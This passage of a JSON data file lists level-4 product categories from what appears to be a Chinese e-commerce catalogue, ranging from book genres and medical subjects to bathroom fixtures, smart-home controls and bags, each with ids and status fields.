_get_child":false},{"id":30814,"name":"军事小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30821,"name":"科幻小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30782,"name":"恐怖/惊悚小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30815,"name":"历史小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30823,"name":"青春小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30810,"name":"世界名著","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30817,"name":"外国小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30819,"name":"武侠小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30811,"name":"乡土小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30820,"name":"玄幻小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30873,"name":"影视同期书","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30812,"name":"侦探小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30822,"name":"职场小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30902,"name":"自由组套(仅限弱关联套装书)","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30799,"name":"作品集","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30813,"name":"其它小说","parent_cid":27567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30776,"name":"雕塑","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30864,"name":"工艺美术","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30772,"name":"绘画","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30865,"name":"建筑艺术","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30773,"name":"考古","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30868,"name":"民间艺术","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30775,"name":"设计","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30866,"name":"摄影艺术","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30867,"name":"收藏鉴赏","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30878,"name":"书法、篆刻","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30774,"name":"舞蹈","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30771,"name":"影视","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30777,"name":"音乐","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30870,"name":"艺术理论","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30869,"name":"艺术其它","parent_cid":27576,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31065,"name":"儿科学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31080,"name":"妇产科学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31068,"name":"护理学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31079,"name":"基础医学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31083,"name":"老年病学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31075,"name":"临床医学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31071,"name":"麻醉学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31066,"name":"内科学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31076,"name":"全科医学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31111,"name":"神经病和精神病学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31082,"name":"特种医学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31067,"name":"外科学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31069,"name":"眼科学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31056,"name":"药学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31081,"name":"影像医学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31077,"name":"医学其它","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31078,"name":"医院管理","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31112,"name":"预防医学、卫生学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31070,"name":"肿瘤学","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31103,"name":"中西医结合","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31055,"name":"中医","parent_cid":27666,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31098,"name":"家庭教育","parent_cid":27670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31099,"name":"育儿其他","parent_cid":27670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31062,"name":"孕产/育儿","parent_cid":27670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31057,"name":"宠物","parent_cid":27667,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31084,"name":"减肥塑身","parent_cid":27667,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31063,"name":"美容/美体/化妆","parent_cid":27667,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31085,"name":"明星写真","parent_cid":27667,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31058,"name":"游戏","parent_cid":27667,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31105,"name":"娱乐时尚其他","parent_cid":27667,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31113,"name":"自由组套(仅限弱关联套装书)","parent_cid":27667,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31059,"name":"兵器","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31090,"name":"党政读物","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31091,"name":"公共管理","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31092,"name":"军事技术","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31093,"name":"军事理论","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31095,"name":"领袖著作","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31086,"name":"世界军事","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31087,"name":"世界政治","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31060,"name":"时政","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31064,"name":"外交/国际关系","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31107,"name":"政治军事其它","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31094,"name":"政治理论","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31088,"name":"中国军事","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31089,"name":"中国政治","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31106,"name":"中外战争纪实","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31114,"name":"自由组套(仅限弱关联套装书)","parent_cid":27668,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31101,"name":"科普读物","parent_cid":27671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31074,"name":"气象学","parent_cid":27671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31100,"name":"生命科学","parent_cid":27671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31115,"name":"自由组套(仅限弱关联套装书)","parent_cid":27671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31110,"name":"其它科学技术","parent_cid":27671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31117,"name":"成功","parent_cid":27677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31118,"name":"礼仪","parent_cid":27677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31116,"name":"励志","parent_cid":27677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31120,"name":"谋略","parent_cid":27677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31133,"name":"情商与情绪","parent_cid":27677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31130,"name":"人际沟通","parent_cid":27677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31132,"name":"心灵与修养","parent_cid":27677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31122,"name":"演讲/口才","parent_cid":27677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31119,"name":"职场","parent_cid":27677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31131,"name":"自我实现","parent_cid":27677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32208,"name":"玻璃白板","parent_cid":32046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32210,"name":"挂式白板","parent_cid":32046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32211,"name":"挂纸白板","parent_cid":32046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32214,"name":"绒布板","parent_cid":32046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32213,"name":"软木板","parent_cid":32046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32212,"name":"荧光板","parent_cid":32046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32209,"name":"支架白板","parent_cid":32046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32215,"name":"其他白板","parent_cid":32046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32216,"name":"白板笔","parent_cid":32047,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32217,"name":"白板擦","parent_cid":32047,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32218,"name":"白板磁钉","parent_cid":32047,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32219,"name":"其他配件","parent_cid":32047,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29158,"name":"太阳能充电器","parent_cid":22711,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29157,"name":"太阳能灯","parent_cid":22711,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29159,"name":"太阳能电池组件","parent_cid":22711,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34204,"name":"调光硅箱","parent_cid":34056,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34205,"name":"调光控制台","parent_cid":34056,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34304,"name":"调光面板","parent_cid":34056,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34305,"name":"窗帘电机控制系统","parent_cid":34057,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34306,"name":"地暖控制面板","parent_cid":34057,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34310,"name":"电源控制器","parent_cid":34057,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34311,"name":"家用场景面板","parent_cid":34057,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34307,"name":"空调控制面板","parent_cid":34057,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34308,"name":"门窗控制器","parent_cid":34057,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34312,"name":"人体感应开关","parent_cid":34057,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34309,"name":"室内新风系统","parent_cid":34057,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34313,"name":"遥控开关","parent_cid":34057,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34314,"name":"电控锁","parent_cid":34058,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34315,"name":"电子巡更系统","parent_cid":34058,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34316,"name":"楼层显示器","parent_cid":34058,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34317,"name":"楼宇对讲设备","parent_cid":34058,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34318,"name":"门禁读卡器","parent_cid":34058,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34319,"name":"门禁机","parent_cid":34058,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34320,"name":"门禁智能卡","parent_cid":34058,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34321,"name":"排队机/叫号器","parent_cid":34058,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34322,"name":"停车场控制机/道闸","parent_cid":34058,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34323,"name":"背景音乐控制器","parent_cid":34059,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34324,"name":"背景音乐主机","parent_cid":34059,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34327,"name":"5号转1号","parent_cid":34060,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34328,"name":"5号转2号","parent_cid":34060,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34329,"name":"7号转5号","parent_cid":34060,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34330,"name":"电压转换","parent_cid":34060,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34432,"name":"菜刀","parent_cid":24993,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34431,"name":"刀具套装","parent_cid":24993,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34434,"name":"瓜果刀/刨","parent_cid":24993,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34433,"name":"剪刀","parent_cid":24993,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25665,"name":"摩托车机油添加剂","parent_cid":25644,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30603,"name":"柜镜/梳妆镜","parent_cid":25106,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30604,"name":"双面镜","parent_cid":25106,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30605,"name":"浴室镜","parent_cid":25106,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30647,"name":"冲锋舟","parent_cid":25584,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30646,"name":"游艇","parent_cid":25584,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34567,"name":"活塞环","parent_cid":25591,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34568,"name":"摩托车机油","parent_cid":25643,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33744,"name":"刀架","parent_cid":33722,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34195,"name":"调料架","parent_cid":33722,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33745,"name":"锅盖架","parent_cid":33722,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33746,"name":"微波炉支架","parent_cid":33722,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33747,"name":"支架挂钩","parent_cid":33722,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33748,"name":"置物架","parent_cid":33722,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34292,"name":"水槽皂液器","parent_cid":26288,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33749,"name":"沥水板","parent_cid":33723,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33750,"name":"沥水篮","parent_cid":33723,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33751,"name":"水槽下水器","parent_cid":33723,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34196,"name":"前置过滤器","parent_cid":34054,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34197,"name":"软水机","parent_cid":34054,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34199,"name":"烟道止逆阀","parent_cid":34055,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34528,"name":"除醛果冻/凝胶","parent_cid":26418,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34527,"name":"除醛喷雾","parent_cid":26418,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34589,"name":"除醛仪器","parent_cid":26418,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34590,"name":"按摩浴缸","parent_cid":26969,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34523,"name":"普通浴缸","parent_cid":26969,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34524,"name":"浴缸配件","parent_cid":26969,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34517,"name":"淋浴花洒配件","parent_cid":34002,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34592,"name":"淋浴花洒套装","parent_cid":34002,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34516,"name":"手持花洒","parent_cid":34002,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34296,"name":"干发器/酒店电吹风","parent_cid":27218,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34293,"name":"感应龙头","parent_cid":27218,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34294,"name":"感应皂液器","parent_cid":27218,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34297,"name":"烘手器/干手器","parent_cid":27218,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34298,"name":"手纸箱/卷纸箱","parent_cid":27218,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34295,"name":"自动香氛机","parent_cid":27218,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33724,"name":"浴室柜组合","parent_cid":33718,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33725,"name":"浴室镜/镜柜","parent_cid":33718,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33726,"name":"智能浴室镜/镜柜","parent_cid":33718,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33727,"name":"面盆龙头","parent_cid":33719,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33729,"name":"洗衣机龙头","parent_cid":33719,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33728,"name":"浴缸淋浴龙头","parent_cid":33719,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33743,"name":"弹跳芯","parent_cid":33721,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33732,"name":"地漏芯/地漏盖","parent_cid":33721,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33730,"name":"进水软管","parent_cid":33721,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33731,"name":"排水管/下水管","parent_cid":33721,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33742,"name":"起泡器/节水器","parent_cid":33721,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33733,"name":"电热毛巾架","parent_cid":33720,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33740,"name":"卷纸器/纸巾架(五金)","parent_cid":33720,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33734,"name":"毛巾杆/毛巾挂(五金)","parent_cid":33720,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33736,"name":"卫生间置物架(五金)","parent_cid":33720,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33741,"name":"卫浴五金/挂件","parent_cid":33720,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33735,"name":"五金挂件套餐","parent_cid":33720,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33737,"name":"浴巾架/毛巾架(五金)","parent_cid":33720,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33738,"name":"浴室扶手","parent_cid":33720,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33739,"name":"浴室角架(五金)","parent_cid":33720,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34591,"name":"挂墙式洗脸盆","parent_cid":27097,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34519,"name":"脸盆配用件","parent_cid":27097,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34518,"name":"立柱盆","parent_cid":27097,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34520,"name":"盆、台一体成型式台盆","parent_cid":27097,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34521,"name":"台上盆","parent_cid":27097,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34522,"name":"台下盆","parent_cid":27097,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34405,"name":"冰敷眼罩","parent_cid":26977,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34406,"name":"布艺睡眠眼罩","parent_cid":26977,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34407,"name":"单眼眼罩","parent_cid":26977,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34446,"name":"护目镜","parent_cid":26977,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30986,"name":"收纳箱","parent_cid":27611,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30985,"name":"医药箱","parent_cid":27611,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31008,"name":"包包内胆包","parent_cid":27613,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30976,"name":"CD包","parent_cid":27613,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30987,"name":"化妆包","parent_cid":27613,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30984,"name":"卡包/证件包","parent_cid":27613,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31025,"name":"卫生巾收纳包","parent_cid":27613,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31022,"name":"包包收纳袋","parent_cid":27623,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31002,"name":"保温包","parent_cid":27623,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31001,"name":"便当包","parent_cid":27623,"